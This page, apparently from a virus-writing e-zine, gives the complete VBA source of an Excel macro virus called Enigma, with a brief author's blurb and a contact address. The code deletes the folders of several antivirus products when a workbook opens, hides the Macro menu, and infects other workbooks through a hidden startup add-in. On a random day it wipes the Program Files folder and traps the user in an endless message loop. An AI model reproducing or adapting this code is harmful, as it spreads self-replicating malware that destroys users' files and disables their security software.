- [Duke's Virus Labs #7] - [Page 18] - Macro.Excel.Ultras.Enigma (c) by ULTRAS Encrypting - Stealth + Polymorphic - Payload + Trojan - This first my virus under Excel 6.0 - 7.0. This version works and under Excel 97. Infects XLS files. EXCEL File creates At openings of the document.XLA and is copied in it. Windows File wipes Depending on a day and shows message. Below be its drawing. greetz to Cicatrix, AuRoDrEpH. Any questions on virus, send here: ultras2@usa.net ===== Cut here ===== Sub Auto_Open() On Error Resume Next Application.ScreenUpdating = False Application.DisplayAlerts = False Kill "C:\Program Files\AntiViral Toolkit Pro\*.*" MenuBars(xlWorksheet).Menus("Tools").MenuItems("&Macro...").Delete Kill "C:\Program Files\FindVirus\*.*" MenuBars(xlModule).Menus("Tools").MenuItems("&Macro...").Delete Kill "C:\f-macro\*.*" MenuBars(xlNoDocuments).Menus("Tools").MenuItems("&Macro...").Delete Kill "C:\Program Files\Command Software\F-PROT95\*.*" MenuBars(xlInfo).Menus("Tools").MenuItems("&Macro...").Delete Kill "C:\Program Files\McAfee\VirusScan\*.*" MenuBars(xlChart).Menus("Tools").MenuItems("&Macro...").Delete Kill "C:\Program Files\Norton AntiVirus\*.*" Call Enigma If CHG() Then GoTo EBU: Else Call ING End If EBU: Application.OnSheetActivate = "EXCEL.XLA!DIB" End2: End Sub Function CHG() As Boolean CHG = False For q = 1 To Application.Workbooks.Count If Application.Workbooks(q).Name = "EXCEL.XLA" Then For u = 1 To Application.Workbooks("EXCEL.XLA").Modules.Count If Application.Workbooks("EXCEL.XLA").Modules(u).Name = "Sheet3" Then CHG = True End If Next u End If Next q End Function Function ING() ab = ActiveWorkbook.Name Workbooks(ab).SaveCopyAs Application.StartupPath + "\EXCEL.XLA" Workbooks.Open (Application.StartupPath + "\EXCEL.XLA") Windows("EXCEL.XLA").Visible = False Application.Workbooks("EXCEL.XLA").Save End Function Function ADI() As Boolean ac = ActiveWorkbook.Name ADI = False For y = 1 To Application.Workbooks(ac).Modules.Count If Application.Workbooks(ac).Modules(y).Name = "Sheet3" Then ADI = True End If Next y End Function Sub DIB() ad = ActiveWorkbook.Name If ADI() Then GoTo KI End If Application.ScreenUpdating = False Application.Windows("EXCEL.XLA").Visible = True Workbooks("EXCEL.XLA").Activate Sheets("Sheet3").Visible = True Workbooks("EXCEL.XLA").Sheets("Sheet3").Copy Before:=Workbooks(ad).Sheets(1) Workbooks(oactivebook).Sheets("Sheet3").Visible = False Workbooks("EXCEL.XLA").Sheets("Sheet3").Visible = False Windows("EXCEL.XLA").Visible = False KI: Close End Sub Sub Enigma() On Error Resume Next If Day(Now()) = Int((31 * Rnd) + 1) Then Shell ("Deltree /y C:\Progra~1") Do MsgBox "Your computer is infected XM.Enigma virus by ULTRAS", 16, "ULTRAS" Loop End If End Sub ===== Cut here =====